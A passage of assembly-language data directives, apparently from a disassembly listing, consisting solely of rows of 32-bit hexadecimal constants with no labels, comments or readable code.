		dd 24509CBBh, 83E6482Eh, 8EE39F01h, 3C7B2FADh, 879C00A0h
		dd 8859F438h, 91F66481h, 0C2B8B408h, 2654D544h,	640017DEh
		dd 29F5408Dh, 834E5Ah, 8F6FBA32h, 0D071656Dh, 0D105C035h
		dd 7E514088h, 379E0009h, 8EB89A41h, 7916C1ECh, 0C0485EAEh
		dd 63338E49h, 0EBDD5F40h, 0B6009AFBh, 0C83DEFCCh, 2268A9B1h
		dd 8755E0CBh, 0EBDC505Ch, 37749511h, 0A80657h, 65C03B14h
		dd 7A799h, 8ABB0A62h, 0BFF142D3h, 0E59AAB09h, 64E4A934h
		dd 0FB920030h, 0DAE939D6h, 57079EE8h, 6EC3AFEEh, 51B7BAA2h
		dd 936C86B0h, 2E05826Bh, 0A1F4676Eh, 44525445h,	91509Ch
		dd 5F2AE7D0h, 0A8F4A0ACh, 0CED5C800h, 8C7A80F3h, 60E89E40h
		dd 6FCB36A7h, 0BDD7660Bh, 39A4CCDCh, 30F60E7h, 0CFA13A34h
		dd 571AF99Fh, 638682D8h, 3F0FA466h, 47658190h, 82E0054Fh
		dd 502002CAh, 258D0CFh,	27BEB6EEh, 4704684h, 3088984Ch
		dd 2C6C4170h, 9980679Bh, 0BD11C19Fh, 6162F0CCh,	909E88ACh
		dd 849C140Ah, 0D62E00BFh, 63799066h, 247F162Dh,	0E72891FBh
		dd 22906298h, 62052D34h, 99002C14h, 0DB54457Eh,	184D065Ah
		dd 2E9EDE95h, 6D0A5CD8h, 44F00C88h, 0E46C879Eh,	0ECC89844h
		dd 75317B36h, 88A712FCh, 14702229h, 0A5007C44h,	91EA4F62h
		dd 1CCEED71h, 80497704h, 0E63CD4BDh, 0E90428F2h, 18B12CF6h
		dd 0E53F20B2h, 3CC99C00h, 2CFD5294h, 30E31D28h,	1C173524h
		dd 580C49C3h, 68164839h, 25549CCAh, 8A41FE3Ch, 2402B1B7h
		dd 7CD76E02h, 3054D0ECh, 0ABD9418Dh, 0CE064858h, 11F977C2h
		dd 0D30E4460h, 0E6CC3006h, 5871056Bh, 0F3806C8Eh, 243D9B1Eh
		dd 7345C892h, 0FD98D0h,	0E521785Fh, 0B6D8E790h,	0DC93DC79h
		dd 0C9CA2080h, 0F48EF64h, 0C2B88439h, 0CB32AE1h, 91C03896h
		dd 446916C8h, 0BD58F070h, 78FC1C43h, 26FFC09Bh,	97AAD718h
		dd 0D1EB2E01h, 16918077h, 0E428BC35h, 17054A0Ah, 4D5D40D8h
		dd 0C60054F9h, 5B0D1176h, 47D13D3h, 0C90333CFh,	8074B460h
		dd 3B0040AEh, 41A8562Eh, 9AA533h, 6478067h, 0F2F1E8C7h
		dd 0DC3FDB2Ah, 3C838726h, 0D0980145h, 70FC881Eh, 22A59900h
		dd 28328B24h, 5CC03B93h, 5463F402h, 0C523165h, 28509C94h
		dd 6AD80CE2h, 2C10448Eh, 0C740605Ch, 0BF20B222h, 16532657h
		dd 0D093C836h, 456A9B94h, 73B680h, 0F7BDC54Eh, 0C489C892h
		dd 0D8879F04h, 0FA5E9A16h, 2D588D80h, 3B4EE226h, 0C6E41803h
		dd 0CABF4432h, 54C4481Bh, 75C3163Eh, 6AB4201Ah,	334CD865h
		dd 40605A21h, 0F25BE99Ah, 32481DB1h, 0EDE93103h, 9448095Fh
		dd 773D008Eh, 9252D211h, 0BB12691Ah, 0AC994457h, 89139830h
		dd 0D4299Bh, 5745A381h,	1D3206CAh, 0C15E579h, 0FE71F282h
		dd 0FD628085h, 287252C7h, 0D1AA273h, 7A593763h,	6E2B0000h
		dd 70E9BE50h, 0C963988h, 11E0C842h, 0C0883824h,	3898B354h
		dd 67630CE7h, 0B19A7C0h, 405732Eh, 18A38034h, 0D0A06016h
		dd 0B3A2DD98h, 0C80D5900h, 6D66E8Fh, 1C52000Fh,	9AD5EFD3h
		dd 0E4B9D161h, 8B94A480h, 0FECAC4BBh, 4A6301B1h, 5AD4CF1Fh
		dd 96ECC497h, 877D8B13h, 802CAC15h, 0CF16A8DCh,	12BC96FCh
		dd 3B3C7098h, 0E001D82h, 0DA643312h, 5FD77201h,	0D3A8D3h
		dd 0EE5EA32Ah, 39EC91Ch, 0BD4966B6h, 200E9205h,	871EE5F9h
		dd 0D3F0FA5Ch, 0C67C88h, 0B060C2FEh, 0BE2CB136h, 0F984370Eh
		dd 9B5760A4h, 755CE7AEh, 10FA74DFh, 18891DDAh, 711E425h
		dd 6AAD01AFh, 0A7BE04E1h, 0F0988487h, 7C40E568h, 5F183959h
		dd 10FAB128h, 7D86C21h,	73BC74F8h, 0A0301250h, 0BD7179DAh
		dd 29EA606Fh, 24B9E4AAh, 0FB583907h, 719321A4h,	1054F922h
		dd 0DB6D398Fh, 0E8EC9858h, 0F078E150h, 185D6437h, 1B89218Ch
		dd 398FDF6Dh, 981E8AE3h, 418068BDh, 98B08C0h, 0E58AAA0h
		dd 985F6E68h, 8088BD39h, 0F901EBC0h, 0C698B9Dh,	0BBD36C24h
		dd 66EAE3A2h, 8991808h,	92105263h, 81190084h, 15B0BEA6h
		dd 110C57FEh, 306355BAh, 6FA900BDh, 80DCD833h, 36202AEh
		dd 27AD2761h, 0F9F10EBh, 9005BC9h, 0B1421A03h, 286AFA9Eh
		dd 8B487E9Dh, 0A31BC118h, 380118BCh, 0D0DB864Eh, 7A3091F9h
		dd 18BA2211h, 80A96892h, 52E00002h, 0F1D34864h,	0E31CB507h
		dd 867BA612h, 0A19569EAh, 0E7A93759h, 14E18241h, 0C0828CA0h
		dd 7D02FB25h, 0B69B985Dh, 2B3C99DBh, 2C021DEh, 0AEC7079Bh
		dd 510360FAh, 0F86310A0h, 77B6CBEh, 6D1DA1CDh, 6039B03Bh
		dd 41C6F6D0h, 30790CEDh, 8799A422h, 0B901C37Eh,	0A8A07BDDh
		dd 18BBBF84h, 992681E2h, 22C90626h, 682281E6h, 2F889h
		dd 6309CAFAh, 0F5CD6F92h, 295C8231h, 0CBD9C876h, 0EA4BCD0h
		dd 2FA73F3Bh, 69B9340h,	4D0CF5E5h, 31ECBFC1h, 0ECB75469h
		dd 0E210C6AEh, 0EE036906h, 8EE76832h, 5BF490DCh, 0F7BF06BDh
		dd 0A9C1885Fh, 79F5D90Bh, 0BD0EDF9Ch, 289498E0h, 1B6092ECh
		dd 0C3C92220h, 3168608Ah, 0A90D1D6Fh, 0FBEA5800h, 0BCCA10DAh
		dd 0F8C01D03h, 0C8FA15A0h, 0EB29A2DFh, 1B00E4E3h, 304A1165h
		dd 0E12A2893h, 90FAA058h, 922001Eh, 85A9C573h, 3F2AA05Bh
		dd 274F4DAh, 400A6924h,	0CA05DB40h, 3EB8A19Ch, 8503DC52h
		dd 0B41DBD34h, 45188714h, 88FCF394h, 96006314h,	0B50DEBDAh
		dd 0E9ACE0h, 68711715h,	0F73938AFh, 2B05CABh, 4F186496h
		dd 0EB79937Bh, 972600EAh, 0CF4E341Ah, 0A950D616h, 0F9C455C4h
		dd 6C881169h, 0C08F0123h, 0FBD0B443h, 229184E0h, 27008AAAh
		dd 408959DCh, 41EB3F18h, 91B9C948h, 0B04D8060h,	506CC10Eh
		dd 0A3511601h, 1FD4BDA4h, 7757A03Eh, 8B75C4F6h,	651431C0h
		dd 90CB19D9h, 943B0287h, 0C7E42FC1h, 0DC696080h, 2A281A68h
		dd 59248BAFh, 0D9124AAh, 99C3900h, 1806806Dh, 0C5B0B07h
		dd 8DF1B27Ch, 782387C1h, 191A0200h, 7FE83864h, 8918824h
		dd 9140A98Dh, 90618C05h, 0A08843Eh, 0E8F1A145h,	520831A2h
		dd 0C00A206Ah, 40F41505h, 0BE0C8322h, 52504090h, 706092FCh
		dd 0F0C47631h, 0FFC91EF4h, 0AE1C0CFh, 34CAB98Fh, 19D430A0h
		dd 6F55E301h, 0A8228392h, 0EE0DC850h, 5164002Bh, 0BC67CC8Eh
		dd 0D61961FCh, 0A6B07D5Fh, 0B022984h, 0CB389032h, 19D3CD21h
		dd 3CA3E800h, 9A8B20h, 0CE88B262h, 7B538DCBh, 8FC58403h
		dd 8824966Fh, 39A435A1h, 0DA8EA0EBh, 9E0CE2A9h,	0C300CDA0h
		dd 7CF78C50h, 16A01CBh,	351AAFD6h, 0D07F7516h, 789F425Dh
		dd 300B0165h, 0E2958BDFh, 97E1808Fh, 4A438809h,	0EB2E0164h
		dd 837590C6h, 49308892h, 106804E0h, 0FC1F12A0h,	163CBC9h
		dd 3F353E9Ch, 0EC494EAh, 0F91C5451h, 90923309h,	87CA2880h
		dd 4BE0C058h, 0EAC90303h, 0E789A13Dh, 968BD3h, 0A3C41B29h
		dd 1E2F8840h, 4DCEB004h, 0BCC31314h, 0AEB91D9Ah, 7612C20Ah
		dd 10C1FE1Fh, 20C109Dh,	3C2079Ah, 0F1D6D0EBh, 23826751h
		dd 68401120h, 379BCA00h, 0A430886Ah, 80C8924Ch,	0F7204EF8h
		dd 0D6E81784h, 0B2C900C7h, 8A1450DEh, 833CC0B1h, 9B631194h
		dd 26A5E031h, 0A9E1001Fh, 6AEC3A9Ah, 88058B09h,	87685B7Eh
		dd 327BA020h, 9A8A12EEh, 214D097Ch, 4020E012h, 10426AC5h
		dd 9BE0548h, 189164E0h,	5EFFF4h, 7B56DEDCh, 1BD71238h
		dd 3531E400h, 82FDCA07h, 0A2B5102Fh, 377029Bh, 419C15AAh
		dd 0A0170BDCh, 8DD8AC5Dh, 99D348h, 2C6CA4A8h, 3A17EB48h
		dd 0F582B42Dh, 0C12A0C6Ah
		dd 405C5084h, 6C7F6FE3h, 9C600E2h, 0DEB63AEFh, 4A0087DCh
		dd 0BC7893C1h, 7019AFB1h, 3F1A0BBDh, 0E429CAD4h, 0B4FAB818h
		dd 8AA52110h, 0D70A3A00h, 59ADC501h, 0D1D82C02h, 865D079Bh
		dd 4839A9FCh, 0CA104C99h, 92C90BDEh, 9CE8047Fh,	0F9D8C440h
		dd 21051C03h, 8A13E3DCh, 946A9C20h, 0C67149h, 0E75B245Dh
		dd 0F0D8BD68h, 15748A7Ch, 0E2D1B605h, 930C6CADh, 28A339B4h
		dd 0D61A96h, 0F428BFE8h, 625B956h, 7034C924h, 0E63CEC40h
		dd 0E7AB005Dh, 0D7284A8Fh, 0DB13A9CAh, 9822EABFh, 0E6188035h
		dd 73F694CBh, 0B5CD1F77h, 0A9B180EAh, 8E24AEDh,	0C4E96A89h
		dd 0EE7519D0h, 0D48F03EBh, 0AE733C25h, 906485D2h, 31219443h
		dd 4919B00h, 9A0F6867h,	4AB89148h, 0F4F46E14h, 3DCA3180h
		dd 0CB03C633h, 0F8537150h, 72B5E10Dh, 22673091h, 0E925009Bh
		dd 0C18F682Ch, 2A00B762h, 1553053Dh, 0A1E23CDDh, 0BD111480h
		dd 85AD038h, 64FAA11Eh,	65636CE4h, 75B8D042h, 7ED87D68h
		dd 510A1C97h, 767D40A8h, 4C9C2C5Bh, 0D874EA24h,	1CC48C2Eh
		dd 2210E732h, 0C0F9DEA9h, 0DCEE1520h, 2900E6C1h, 0EBF48D2Eh
		dd 362730h, 14C902C3h, 401A017Eh, 8226D307h, 71C2A9C8h
		dd 0EED48548h, 7C607680h, 0F54E039Fh, 1D81CB01h, 746011C2h
		dd 79C08292h, 4A0C2D0Dh, 0DD0F07CBh, 0B6BB0504h, 1F00A1B7h
		dd 0E2713FB5h, 291B3E8h, 8509D924h, 0E0DDED2Fh,	5201258h
		dd 0BAEE347Fh, 0AE3C8370h, 9FEAA01Eh, 0DBD0FB81h, 0CFE43798h
		dd 34D4B07Bh, 61F09687h, 0C8F1FDA8h, 2FE8E338h,	80AE9838h
		dd 0C2B2BE43h, 4CE13E7Eh, 3508D476h, 5D8B3068h,	3D5C80A3h
		dd 0A1B90A09h, 0C4628380h, 638FBF00h, 0A498C82Eh, 0E2425C00h
		dd 53CBF2C3h, 7945321Ch, 70E45949h, 7C8CDC2Ch, 0EA00AB91h
		dd 68ADF1CCh, 0BBE08584h, 616F9130h, 9CF0ADBh, 5D37063Ch
		dd 0CE011064h, 59C580A7h, 26DCBE6Bh, 0C7EF06BAh, 68923AEAh
		dd 80CC1D58h, 0AF533402h, 98491C23h, 13153C7Bh,	0C44CA4BBh
		dd 0D8CBEB18h, 1491E8C0h, 73CC91h, 0EE7CF12Bh, 19671B0Dh
		dd 0AA1D3300h, 5770E7Dh, 0EC2C48DEh, 90EF4C7Ah,	677C2111h
		dd 0A958F950h, 9E4600C8h, 3AD7F509h, 3421AD28h,	5E565307h
		dd 0C3D16B76h, 0FD408372h, 78F793h, 0E452864Dh,	9CD31CEDh
		dd 0DB11681Ah, 718CC139h, 80F1E211h, 0D9EB6271h, 1D5174B5h
		dd 40323523h, 62991CAh,	40097A4Fh, 8062842Fh, 67EAE4C8h
		dd 37340F01h, 59A01DAAh, 0B5E6A991h, 5515A49Ah,	899012BDh
		dd 30AA80B7h, 0EE927A01h, 0B079059Bh, 48AF1B68h, 4EBE6E4Ch
		dd 0A8610420h, 498A6259h, 1C64230Ch, 31679230h,	3BA02B26h
		dd 9705AA57h, 0C1F431BBh, 0FCC76D55h, 9C09384Bh, 91EFC079h
		dd 0A862228Ch, 7C16AB0Eh, 30A2254Fh, 308BD2D4h,	700B9800h
		dd 980C974Ah, 48F49203h, 0AA5102B0h, 1E685C7Eh,	4ED8B052h
		dd 0E55939h, 3B6F80Eh, 0CF0602BFh, 408D0900h, 2225A9CDh
		dd 331360E2h, 706EEDAEh, 7A4B5900h, 22971E12h, 250B18C9h
		dd 0EEC051C2h, 0C06B8B9h, 6F199E20h, 0B3890983h, 1B050081h
		dd 0E3F47022h, 0A0318E60h, 8C3B9E6h, 7119A935h,	0E420E196h
		dd 0FAFF889Fh, 375E0095h, 39CD7FDAh, 0F0003C72h, 0CF6F4CFCh
		dd 1BADCBE4h, 41830AA9h, 5044A045h, 6C502588h, 3AF8D25Dh
		dd 8CD211h, 0FE1438C1h,	0E85988h, 4CB82B7h, 10D9D543h
		dd 41738A07h, 98773FFFh, 7310216h, 7D1F0852h, 23B9E0B8h
		dd 99037F1Bh, 0B158FCF8h, 28AE8Ah, 704273B7h, 8C92EFCFh
		dd 52263101h, 0C89678BAh, 30D34480h, 0FFA65099h, 1E55E11Eh
		dd 5341207h, 18985656h,	5189B1C1h, 0E972CBA8h, 6446B38h
		dd 0F6E6746Ch, 0F4A500C1h, 0DA02BB90h, 0D7FCB0E9h, 0D23CF6B8h
		dd 935B82B3h, 0C05E143Ch, 78E7F35Ah, 30217819h,	3869B0E5h
		dd 0AE167F3Ah, 0E003B6F7h, 28F29437h, 34E7F1h, 937CFF8Fh
		dd 0CDC8B42Ch, 63C55200h, 99038062h, 29ED60E6h,	0A18D06D6h
		dd 2C8C2400h, 0EBEF11ABh, 9D2D0085h, 60507E28h,	6A0A94BDh
		dd 8895B6CAh, 0E4858306h, 0C036F041h, 42AD9399h, 34009EBBh
		dd 179C4785h, 1101B8FBh, 0E3E73Dh, 0E1CE3673h, 318848h
		dd 8228A6Fh, 676EEC6Ch,	592DEF00h, 0E19DC8CFh, 0F6FF0CA9h
		dd 34F9B6BCh, 8849F0D8h, 0EDE100DDh, 91EAA3FBh,	0B090F9D4h
		dd 0BF068488h, 0EFA96400h, 0A3EC2CFEh, 0E09600F2h, 24816FF4h
		dd 663B6A5Fh, 98C50525h, 2C007F82h, 13202618h, 53370FF2h
		dd 568030C7h, 0F98D045h, 29E8E733h, 5A7BA8BFh, 0F99600BBh
		dd 15986FFFh, 0B804D03Dh, 392A8183h, 589FE50Fh,	0C6689906h
		dd 0C4E28613h, 5623DE00h, 721331FBh, 69A01DCh, 67B13CB7h
		dd 5CF186F9h, 44F8226Ah, 80026D1h, 93827379h, 31559Ch
		dd 2A615D19h, 4620B0F9h, 0D75B3800h, 0B75E9A30h, 1B7B05E5h
		dd 4A426405h, 609498D4h, 6577C368h, 44C97600h, 9F33A90Ch
		dd 0CFB0FCh, 9AB9809Eh,	493931E1h, 0B385D301h, 0E58B1BEDh
		dd 763E2022h, 4681F880h, 0D1A873DCh, 100CCD00h,	8D549397h
		dd 0FAA0F61h, 76ACF6CBh, 7F4883D9h, 8053C820h, 648E3F63h
		dd 0EF00F443h, 2657B3DBh, 0E65D56Ah, 9952B212h,	0D850B918h
		dd 4F71EB03h, 0F09D4336h, 5233A44Dh, 60094E7h, 0E21D7974h
		dd 2600B096h, 4B1F62F8h, 0A0280FC8h, 0ABC6490h,	139A5304h
		dd 7A82858Ch, 514C08FAh, 12394E81h, 29CC3B68h, 83B200AEh
		dd 0CE9992CBh, 0BF24F6B3h, 5C4050D1h, 0ED841B50h, 68D2D4F1h
		dd 0C0FFAC08h, 66C7D8B9h, 0B71E915Fh, 0B5009734h, 52D32081h
		dd 50709FEh, 28945575h,	32699A00h, 9D469676h, 0E72F0095h
		dd 0D513072Bh, 1167BEF6h, 0B6500981h, 0C9178837h, 6C10E771h
		dd 0A40020F7h, 0D2959841h, 77A9213Bh, 4DEC0309h, 50C8FFA7h
		dd 92917900h, 8170EF8h,	0B2133B97h, 7E6DB03h, 59002E99h
		dd 0A40B95ECh, 117D86h,	4AA3C8C5h, 0DA607209h, 98A19426h
		dd 9E7F2500h, 99E656EFh, 67760000h, 0CF5B723Bh,	365CAF00h
		dd 1658707Eh, 54290A13h, 2B04FB0h, 0B92067A3h, 0F9700060h
		dd 0C0FC9980h, 3B6BD381h, 31130CEBh, 303034AEh,	58E47Ah
		dd 8CF9524Dh, 0DC6BD96h, 67C3B800h, 2C26113h, 49FD60ACh
		dd 88B25030h, 106CEC4Dh, 3D88D984h, 0EEC1EB9Dh,	2898F50Eh
		dd 0B79F3980h, 36899422h, 0D04E3400h, 30250AD1h, 0B671C33h
		dd 0FF518173h, 30E0AF90h, 9F1F2164h, 9D40A459h,	0E23008FEh
		dd 0A60C9214h, 1DB0006Ch, 43EE34B9h, 16791CBFh,	4924F102h
		dd 0A068B181h, 0C7957084h, 0DD931E08h, 8D073A42h, 0F09CE59Dh
		dd 3D3C71A6h, 17C72009h, 0A3B018A1h, 5A571676h,	36D00031h
		dd 213AF418h, 9A5CE302h, 61102D46h, 0F433BA8Ch,	0D28411h
		dd 292D149h, 188AB218h,	59286803h, 54927FB1h, 1348D500h
		dd 0C7CD7B2Ch, 0B39D06A0h, 0E99899C3h, 0E9AB1400h, 58A23EC8h
		dd 0AC1501BEh, 7882FB22h, 3C6983CFh, 78E60898h,	0BA1B0331h
		dd 0B1AE42AAh, 4F767811h, 4C863711h, 2385298h, 0E6C03C91h
		dd 0CFDF20CCh, 51001E42h, 4CBC0899h, 4D87009h, 7E336ECBh
		dd 7AD88152h, 0B9318DDBh, 0B6606137h, 124BF205h, 0BC0BF6h
		dd 0CC9D3F02h, 47000DB5h, 44172B9Ah, 6004B828h,	24C14177h
		dd 0A0249313h, 4900AC57h, 150D85D5h, 0D18B001Fh, 6808E8E6h
		dd 816EB221h, 80D4ABC1h, 0EF89ECC4h, 0C8E0CFh, 9301E170h
		dd 5F5EC4A1h, 61C33FF2h
		dd 0A7BABE7Fh, 11BF08D0h, 0A80AF638h, 52410584h, 813E903Eh
		dd 0B8F066C4h, 3032E4A9h, 2C88E40Ch, 40071C2Ah,	23EA801Eh
		dd 8C8FD275h, 6214CA7Bh, 30F80F5Fh, 9133B8D5h, 0BCE707D8h
		dd 8A9949F7h, 0AF8800B8h, 46B9E112h, 0BB797C00h, 38295BC5h
		dd 4C02500Dh, 20394464h, 0F8D73A3Bh, 0DA99462h,	0EAE7232Fh
		dd 0E0993Dh, 0E9290AE2h, 12939539h, 8627E74h, 56838C38h
		dd 0F88D209Bh, 24D0A65Eh, 49B8C813h, 0F0121C0Bh, 0D26AD4C1h
		dd 5F0FD321h, 8982D08Bh, 32C81811h, 831D00BCh, 0B6966B26h
		dd 2C900135h, 0EDD70542h, 0B121CC20h, 26597E60h, 38F6180h
		dd 0BE449160h, 2B0DEC4h, 6A00D6E5h, 1A5C3C21h, 265EBCA6h
		dd 61209892h, 0E547DE7Fh, 2CA5E404h, 33C4E58h, 0EDF6EBBh
		dd 64DC8041h, 31F163ACh, 21C8150Bh, 83386636h, 9830808Dh
		dd 11EC013Ch, 5DAF3A6Ah, 401F2Ch, 3A4EC417h, 5E00449Ah
		dd 93830C4Bh, 74FE9958h, 488C8EAh, 0C97C2B80h, 0BEAAA1h
		dd 0AC850F19h, 2C6F016Eh, 0A194124Ch, 9902B58Ch, 690020E4h
		dd 3E2A16F4h, 29B5CD4h,	0DCED9A66h, 44C1505Ah, 0FF5E1005h
		dd 4BF14D3h, 9098C468h,	0D13D94Fh, 207E83h, 400BB058h
		dd 80A4990Ah, 0D49FBA02h, 57E8A3EEh, 297FDC00h,	0BC003F6Eh
		dd 89172CBDh, 0A6329D70h, 3B1B00E4h, 0E0C76FBEh, 0CA0011B4h
		dd 15595786h, 2C63D509h, 259055FFh, 11810410h, 0E86DAF0Bh
		dd 25B8B86h, 0C4B23416h, 65BC03E4h, 0D3ACEBE3h,	527198D8h
		dd 0E71CBBE6h, 3487EA54h, 80C9A481h, 0EFBEB644h, 993E00CBh
		dd 54BC1120h, 63598183h, 0B0E50ADCh, 3480C477h,	5EC56D91h
		dd 0BAF61210h, 0CDC5307h, 0D640AF84h, 7850A85Ch, 616FB60Ah
		dd 5109F0DCh, 91880F06h, 3B179700h, 0A626C345h,	90A30300h
		dd 0F16C8146h, 9BA217D6h, 83C40C40h, 0CC999931h, 1B00C51Ch
		dd 79655B43h, 0A034020Ah, 0D981826Dh, 16BA2120h, 85DC07A1h
		dd 0BF0E056Ah, 0B1588142h, 0E967288Eh, 0F3F6C30Bh, 982492C8h
		dd 0A943DE1Eh, 0B8BB5480h, 13D421D9h, 142F5F51h, 0FB005820h
		dd 0C7FFB255h, 3015EEF6h, 8005B1h, 0BE5AF97Eh, 6947Bh
		dd 1B6E784Eh, 0E2D33A9Ah, 8BBC3CB1h, 9DB603h, 327E69ADh
		dd 71984BD2h, 7B99F98h,	0C0E79DCh, 2BC851F7h, 0CCC0EB29h
		dd 7B393870h, 0D9371C83h, 451F0005h, 0F65E9367h, 0BA304400h
		dd 0CEF4C21Bh, 958F471h, 0C80695D3h, 39DBC90h, 548D1D00h
		dd 285385FAh, 0F66D1725h, 836420B9h, 0FE81A27Dh, 5442D5F1h
		dd 46944836h, 3E1E2205h, 0D4A43770h, 1DB95F09h,	7FA4A512h
		dd 0B49109EAh, 999D423h, 9D862902h, 0E02E8720h,	7F01682h
		dd 811EC0B8h, 545C13Ch,	6100D752h, 30FC5698h, 9AC20208h
		dd 40E54AF8h, 0DE57C71Ch, 0FB03064Ah, 37A69ABFh, 5440223Dh
		dd 0FD580AF0h, 3E22DD40h, 0A0E6A563h, 2507C104h, 34466A5Ch
		dd 129DFB41h, 0E2212420h, 87D2A7Eh, 0D53A0E60h,	8E604CA1h
		dd 0E7F0858Ch, 4A70A0Bh, 0FF009975h, 6E18D318h,	181F5E6h
		dd 3EA40044h, 0FCA76BBBh, 1B1CE5ADh, 25C241B6h,	9B2C5905h
		dd 8852C4B0h, 54006BF0h, 4F0BAEE9h, 1597C6EBh, 0E01C26B0h
		dd 11F07E11h, 70037C8h,	85D9BCEAh, 4A78F78Dh, 0ECB6B104h
		dd 1081E797h, 0A4600E22h, 80246498h, 4D9E403Ch,	299D6D0h
		dd 37E557F8h, 0A890F995h, 0E48A4159h, 0A87E00h,	0FB4F09DDh
		dd 177D5B9Fh, 0A6302C0Eh, 778080A3h, 13BB5CC1h,	0A3CCEACh
		dd 408CE738h, 1A06FC0Bh, 0CC001D75h, 0D729BB7Fh, 60BDF576h
		dd 7E34616Eh, 0AC58DC5Ah, 54C98058h, 1EAA25EBh,	0C0597C03h
		dd 0D66B15BFh, 4E004472h, 2EADAE92h, 0B1B23A5Fh, 0FDF40090h
		dd 0C01A612Ah, 8096BF3Bh, 0A4D5866Bh, 743846F7h, 7574A003h
		dd 7D638429h, 0A9477341h, 0CBF0DD19h, 1210F816h, 83761ECh
		dd 80A42F90h, 0A0809567h, 0EEC728h, 4F6234C6h, 9CE9439Eh
		dd 0D0F88FA0h, 77B24718h, 0AF45E9h, 2EF066B4h, 0F86F3992h
		dd 293CED00h, 2C61895Eh, 0D34B0F5Bh, 1163DAC5h,	0B1002799h
		dd 0B621AD49h, 0BD17ACh, 0C03AEF75h, 0A8E013C7h, 68532209h
		dd 0F65082FAh, 21FC46B7h, 0D2109D89h, 7C98458Bh, 8A00D9B3h
		dd 0BDE833D1h, 4C428085h, 3716B408h, 5EDC2286h,	0B248F4C0h
		dd 827FD006h, 441D47Ah,	0D5B8BC30h, 0A3D088C8h,	8F41B11Ch
		dd 5D804ADDh, 391B5945h, 5E330270h, 77826811h, 5B8720AEh
		dd 0C46F47EFh, 1054C983h, 0B272B828h, 0B1424700h, 64D6AA97h
		dd 693D1282h, 1B64D198h, 328AE416h, 0F8C65001h,	83AF4F7Fh
		dd 7C33DEC5h, 0B5444Ch,	0C4631C27h, 473EBACCh, 0E06BB211h
		dd 0AF5825CFh, 9831DF86h, 40B24E4Ch, 98E46994h,	8E00EB9Dh
		dd 7BCF93EDh, 2CD70C7h,	0CA99FA33h, 1050F177h, 2C6CD050h
		dd 0EC752988h, 327F003Fh, 4DB70185h, 0C0F20557h, 4204FE77h
		dd 0D41B51D6h, 0B8F6F8C0h, 6C4C8211h, 0FFF8DA51h, 0D1811903h
		dd 90112912h, 945AD430h, 1F0386A8h, 0B1487940h,	0EB938348h
		dd 4E95D039h, 7FC600CBh, 7E47EDC4h, 72F6F8DAh, 4517A26h
		dd 0F59D6A60h, 20960047h, 0DE5ED119h, 6100722Fh, 2D9F4DFBh
		dd 2933A51h, 24D939FEh,	0C861AF7Fh, 0E48C1501h,	0BBA80E0Ah
		dd 0B3AF1E57h, 0DD35AAC3h, 643E80CCh, 4C2704AEh, 0D948078h
		dd 0B6F537FFh, 1D7060B4h, 0A7EE3F0h, 7677E203h,	0C033D22Fh
		dd 18AEB921h, 0F12AC8ABh, 4EE411BEh, 17613D00h,	3B53C26Eh
		dd 36B4397Ah, 0F5326080h, 830E215Bh, 0D4A0802Ah, 5FE3FF09h
		dd 0CB7000C5h, 0B4D0F6F1h, 4C13A728h, 651DFFD0h, 47F1300h
		dd 0BD48C033h, 58DC04BEh, 8C2F180Fh, 9C3CB664h,	113A0794h
		dd 87900D07h, 4CB1BC8Eh, 527AD418h, 0E72DEC10h,	0E5AB7820h
		dd 0AD00DC4Dh, 0CBC240BAh, 112A42h, 3179356h, 0ECAA2201h
		dd 2DC235Ch, 0FB93036h,	0AFBC82E6h, 4E0224F8h, 66A9AF50h
		dd 9325481h, 7101D04h, 124EE069h, 0F54465Eh, 89DE6876h
		dd 0E9E68A80h, 16007563h, 0BA57F5E2h, 1274B90Ch, 20B09097h
		dd 0D8477B0h, 0A0941A00h, 4C5181DFh, 0DCEE0096h, 207F7699h
		dd 0B304497Eh, 3B677C83h, 0FE5F89Ch, 1E1DBF2Ch,	1C864460h
		dd 7A085A64h, 0A1F40B36h, 0F188090h, 0F0D3AC92h, 44417400h
		dd 4E242A1Dh, 0CE0C07ABh, 0DC259C6Eh, 6481B2F0h, 93829810h
		dd 5337810Ah, 0D9909CC5h, 9CB07822h, 44C8DB44h,	9E004928h
		dd 0C7A27032h, 0EFC3763h, 0F59DD2Ah, 98956C61h,	9FC44030h
		dd 0FE06D580h, 0CF7C841Bh, 0D1F62DE9h, 44CAA012h, 0E46AD018h
		dd 2689E30Dh, 706090FFh, 0C881937h, 75D620D3h, 23088128h
		dd 0B01D09A4h, 2609D072h, 80E60A81h, 0B3F86600h, 84CB13ACh
		dd 0D35C38F0h, 485E63FEh, 0C995051Dh, 804C2828h, 3046F513h
		dd 48640674h, 7062DE50h, 0F7305C67h, 2B4EA00Ah,	5604ECEh
		dd 0AB65096Bh, 9BEC803Eh, 0A44989Eh, 4E52000Ch,	5397CFDEh
		dd 0C80007B0h, 30B60296h, 6214939Ah, 0CF77F0CCh, 2645D4C4h
		dd 91F34830h, 0DA9A4000h, 20005C6Dh, 0D2FD1867h, 1EC95DD8h
		dd 404D9BEBh, 0FE695682h, 6D646641h, 0D4097C0h,	38391494h
		dd 0D05F8826h, 702E5E82h, 7A07422Dh, 786F0064h,	0A6BD229Bh
		dd 0B617DCE9h, 0C433303Eh, 0E15FA815h, 0AF331E11h, 3B24C0BEh
		dd 9A765DEFh, 122C3872h, 1F4A0478h, 18F4FE09h, 1EA13F78h
		dd 4652B3h, 7DE0300Eh, 0B92D32ECh, 98B889ABh, 84A27CE8h
		dd 2602D142h, 0ACB9497Fh
		dd 28077041h, 0A7288858h, 4CEC010h, 29E34E00h, 4B948FACh
		dd 0A2070DB3h, 91989F45h, 204B7970h, 855F9788h,	0FDCFEF00h
		dd 0DB161EFFh, 7E94FA88h, 0CEC00299h, 7D9FD8A0h, 7E836840h
		dd 219D88B4h, 41BC5300h, 925BD80Eh, 947F206Ch, 0BC61A368h
		dd 62F2509h, 0FC13A78h,	215F286Bh, 185C3480h, 909830A1h
		dd 3320E81Bh, 0A0A98658h, 0B1B0581Bh, 0E0930F84h, 0E590B440h
		dd 0B57128A7h, 2066CD13h, 3137C48Ch, 0D341FBF9h, 8A5D234h
		dd 6EB00AD6h, 52DC64BCh, 7F4E089h, 0E2FA00A8h, 0FC256E97h
		dd 8000440Ch, 0B9FE033Eh, 727D8E9Eh, 870F4A67h,	89B4E0E8h
		dd 0FA09EB06h, 208BB121h, 64BA90B8h, 0BE311284h, 86AB0B37h
		dd 8C8E4092h, 39E557E0h, 0FC748183h, 0ECC064BEh, 1620EF1h
		dd 6A104913h, 0D0E33961h, 0FE40E5E2h, 11DA0909h, 441AFF0Eh
